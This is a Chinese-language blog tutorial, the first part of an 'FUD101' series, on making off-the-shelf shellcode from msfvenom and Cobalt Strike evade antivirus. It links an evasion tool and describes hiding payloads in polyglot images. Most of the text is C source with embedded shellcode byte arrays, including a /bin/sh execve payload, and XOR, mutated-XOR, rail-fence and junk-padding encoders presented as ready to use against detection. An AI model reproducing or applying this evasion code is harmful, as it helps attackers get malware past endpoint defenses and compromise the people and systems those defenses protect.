FUD101(連載): 一、shellcode免殺
No.1
聲明
由於傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。
No.2
前言
針對本篇及后續文章中用到的部分技術,我已經寫好了相關代碼,用於快速生成免殺的可執行程序,源代碼放在了(github)[https://github.com/1y0n/AV_Evasion_Tool]上,也可以直接下載編譯好的(程序)[https://github.com/1y0n/AV_Evasion_Tool/releases]
工具界面如下:

效果如下:

目前,針對 shellcode 的免殺,在不討論自己編寫 shellcode,而是使用現成的 shellcode(msfvenom、cobaltstrike等)的情況下,主要有兩種方式:
1、分離免殺
分離免殺主要是將 shellcode 和 loader 徹底分開,比如可以將 shellcode 藏在其他文件中、放在網絡上等等。
2、加密混淆
加密混淆指將 shellcode 進行一定變形處理后,同 loader 放在一起,打包為一個完整獨立的可執行文件。
下面我們分開討論這兩種方式。
No.3
分離免殺是將 shellcode 和 loader 分成兩個不同的文件,或者 loader 是文件,shellcode 是流。我們常說的白名單執行可以視作分離免殺的一種特殊形式。
相對於加密混淆,分離只需考慮執行方式免殺的問題,所以這小節更多的是介紹這種思路及一個工具,更多的內容可以參考本系列中執行方式免殺那部分,根據分離后 shellcode 的形式不同,loader 可能需要進行較大幅度的改動以正確解析。
分離免殺的缺點是運用起來比較繁瑣,不像加密混淆那樣最后生成的是一個完整的可執行文件。
至於分離后 shellcode 的形式,可以是 msfvenom 直接生成的 .c 、.raw 等格式,也可以是 .txt 或圖片格式,更可以是 .dll 等格式。根據不同的形式,loader 需要做出改變以正確解析這些形式,如果是 .dll、.js、.vbs、.sct、.hta等格式,可以考慮DLL注入或白名單執行,DLL注入將在后面的章節詳細介紹,白名單執行這塊亮神已經寫過很多的分享,雖然目前都被查殺,但是測試發現進行簡單的混淆后仍可繞過部分殺軟,這里就不贅述。
.c .raw .txt 等明文格式不多說,網上有專門的分享,google 即可。這里主要介紹一個有趣的開源項目,DKMC(Dont't Kill My Cat)。
項目地址為:
https://github.com/Mr-Un1k0d3r/DKMC
Don't kill my cat is a tool that generates obfuscated shellcode that is stored inside of polyglot images. The image is 100% valid and also 100% valid shellcode.
這個開源項目真的是完美詮釋了什么是分離免殺,它將 shellcode 放在一張圖片里,圖片看上去完全正常,但也可以正常執行 shellcode 。詳細原理在作者的 github 也有介紹。
打開工具,按提示生成帶有 shellcode 的圖片:
殺軟不會主動去查殺圖片文 件,即使查殺,這個圖片也能繞過絕大多數的殺毒軟件。
使用 loader 執行,可以正常上線:

No.4
加密混淆針對加密混淆,目前常見的方式有:
1、XOR
異或是最常見的混淆方式,因為它實現起來非常簡單,一次異或加密,兩次異或即可恢復原文,並且整個過程不容易產生壞字符(影響程序正常執行的字符,如 \x00 等),但是對於很多殺毒軟件來說,簡單的異或並不能繞過它們的檢測,所以我們需要想一些附加處理,能夠在簡單異或之外再做點什么,在后面我們將編碼實現一種變異異或的方式。另外需要注意的是,在測試過程中,我發現部分殺軟對異或是有特殊監控規則的,當出現循環異或時,程序的信息熵和會增加,就會被殺軟認為可疑。
2、古典密碼
經常打CTF的賽棍們肯定對古典密碼相當熟悉,古典密碼常見的有凱撒、柵欄、維吉尼亞等等,對於古典密碼加密 shellcode,網上已經有很多現成的代碼,后面我們會對網上找到的代碼進行測試。
3、現代密碼
現代密碼(包括AES、RSA等等)在加密 shellcode 方面是最有效的,但隨之而來的是它的復雜性,因為如果要使用這些加密,必須要加載第三方庫,帶來的就是編寫難度和程序體積的上升,鑒於其他加密方式已經能達到很好的效果,所以我們一般不采用現代密碼加密,在本章節中也不再討論這種方式。這里是一個 AES 加密 shellcode 的實例代碼,用了openssl:
https://gist.github.com/ahpaleus/d0c1b4395394b7e5712d31458fbaad1f
4、其他混淆方式
其他混淆方式就需要發揮想象力了,各種處理方式輪換着來唄。后面我們將會編碼實現填充垃圾數據這種混淆方式。
采用加密混淆的方式,我們最終生成的是一個整體,所以,包括 shellcode 加密混淆、執行方式、過沙盒方式應該有機統一。比如我們在過沙盒時,使用大循環進行延時繞過,我們就可以用這個大循環最終生成一個值,然后將這個值作為加解密的key使用。如果這個循環被跳過,那么最終 shellcode 是無法正確解密的。
No.5
XOR簡單異或
簡單異或的加解密方式十分簡單,所以這里不做過多文字描述,直接看一下 C/C++ 實現異或的代碼:
# include # include # include int main(){ unsigned char code[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4"; printf("原始shellcode:\r\n"); for (int i = 0; i < sizeof(code); i++){ printf("\\x%0.2x", code[i]); } for (int i = 0; i < sizeof(code); i++){ code[i] ^= 123; } printf("\r\n\r\n異或后的shellcode:\r\n"); for (int i = 0; i < sizeof(code); i++){ printf("\\x%0.2x", code[i]); } printf("\r\n\r\n第二次異或后的shellcode:\r\n"); for (int i = 0; i < sizeof(code); i++){ code[i] ^= 123; } for (int i = 0; i < sizeof(code); i++){ printf("\\x%0.2x", code[i]); } }
運行結果:

變異異或
所謂變異異或,是指在異或基礎上,再加上一些其他的處理,比如填充垃圾數據等等。這里實現一種方式,根據某種規律生成異或key,每位異或時均用不同的key。這樣既可以保留異或的優點——不容易產生壞字符、加解密長度不變,更可以有效避免部分殺軟對簡單異或的查殺。
# include include # include int main(){ unsigned char code[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4"; int j = 234; // 設置一個初始數值 int mid = 12; //設置每次增加的數值 //上面兩個數注意加解密都是一樣 printf("原始shellcode:\r\n"); for (int i = 0; i < sizeof(code); i++){ printf("\\x%0.2x", code[i]); } for (int i = 0; i < sizeof(code); i++){ code[i] = code[i] ^ 123 ^ j; j += mid; } printf("\r\n\r\n異或后的shellcode:\r\n"); for (int i = 0; i < sizeof(code); i++){ printf("\\x%0.2x", code[i]); } printf("\r\n\r\n第二次異或后的shellcode:\r\n"); j = 234; //記得重置j for (int i = 0; i < sizeof(code); i++){ code[i] = code[i] ^ 123 ^ j; j += mid; } for (int i = 0; i < sizeof(code); i++){ printf("\\x%0.2x", code[i]); } }
上面的代碼定義了一個初始值,這個值在每一次循環時都會增大,然后異或是先和一個固定的值進行XOR,再和這個變化的值進行XOR。運行效果如下:

No.6
古典密碼從網上找了一個使用柵欄密碼加密 shellcode 的例子,稍作修改即可正常使用。
代碼來自:
http://www.arti-sec.com/article/encrypt-shellcode-decrypt-and-run-it-slae
加密部分(無修改):
# include # include # include int main() { int l, j, k, p, t; // length of string, counters and a toggle int i[2]; // need two incrementers for algorithm unsigned char inp[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; int key = 5; unsigned char* buf; l = strlen(inp);printf("\n\nShellcode length: %d", l); printf("\n Key: %d", key); if (key > l) { printf("Key needs to be shorter than length of shellcode\n"); exit(0); } // make a buffer to store cipher buf = malloc(l);if (buf == 0) { printf("\nmemory exhausted\n"); exit(0); } p = 0; // position in buf // do the transposition cipher for (j = 0; j < key; j++) { i[0] = (j == key - 1 ? j : key - j - 1) * 2; i[1] = j == 0 ? i[0] : j * 2; t = 1; k = j; buf[p] = inp[j];do { t = !t; k += i[t]; p++;if (k < l) buf[p] = inp[k]; }while (k < l); } // Now print the results printf("\n\n\""); for (p = 0; p < l; p++) printf("\\x%02x", buf[p]); printf("\";\n\n"); for (p = 0; p < l; p++) printf("0x%02x,", buf[p]); printf("\n\n"); // and clean up free(buf); exit(0); }
解密部分(將執行代碼換成了打印):
# include # include # include int main() { int l, j, k, p, t; // length of string, counters and a toggle int i[2]; // need two incrementers for algorithm unsigned char inp[] = "\x31\x68\x89\x80\xc0\x68\x2f\x50\xe2\xcd\x50\x73\x62\xe3\x53\x0b\x68\x2f\x69\x89\x89\xb0\x2f\x6e\xe1"; int key = 5; unsigned char* buf; l = strlen(inp); printf("\n\nShellcode length: %d", l); printf("\n Key: %d", key); if (key > l) { printf("Key needs to be shorter than length of shellcode\n"); exit(0); } // make a buffer to store cipher buf = malloc(l); if (buf == 0) { printf("\nmemory exhausted\n"); exit(0); } p = 0; // position in buf // do the transposition cipher for (j = 0; j < key; j++) { i[0] = (j == key - 1 ? j : key - j - 1) * 2; i[1] = j == 0 ? i[0] : j * 2; t = 1; k = j; buf[j] = inp[p]; do { t = !t; k += i[t]; p++; if (k < l) buf[k] = inp[p]; } while (k < l); } // Need to copy the buffer over the original string // so we can clean up, even when no return from shellcode printf("\";\n\n"); for (p = 0; p < l; p++) inp[p] = buf[p]; for (p = 0; p < l; p++) printf("\\x%02x", buf[p]); printf("\";\n\n"); for (p = 0; p < l; p++) printf("0x%02x,", buf[p]); printf("\n\n"); free(buf); }
No.7
其他混淆方式其他混淆方式可以任意組合上面幾種加密混淆,也可以想想其他的方式,比如填充垃圾數據、逆置等,這里給出填充垃圾數據的代碼:
# include # include # include # include //隔1插3 void main(){ unsigned char slcd[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4"; unsigned char buf[4*sizeof(slcd)]; int j = 0; for (int i = 0; i < 4*sizeof(slcd); i++){ if (i % 4 == 0){ buf[i] = slcd[j]; j++; } else{ //插入隨機十六進制數 buf[i] = rand() & 15; } } printf("原始shellcode:\r\n"); for (int i = 0; i < sizeof(slcd); i++){ printf("\\x%0.2x", slcd[i]); } printf("\r\n填充垃圾數據后:\r\n"); for (int i = 0; i < sizeof(buf); i++){ printf("\\x%0.2x", buf[i]); } printf("\r\n去掉垃圾數據后\r\n"); unsigned char buf2[sizeof(buf)/4]; //重置j j = 0; for (int i = 0; i < sizeof(buf); i++){ if (i % 4 == 0){ buf2[j] = buf[i]; j++; } } for (int i = 0; i < sizeof(buf2); i++){ printf("\\x%0.2x", buf2[i]); } }
運行效果:
可以看到,加密后 shellcode 的長度……很長,這就是這種混淆方式的缺點,優點是可以躲過部分變態殺軟對循環異或的監控。
shellcode 的免殺到此結束,后面我們將開始介紹執行方式免殺。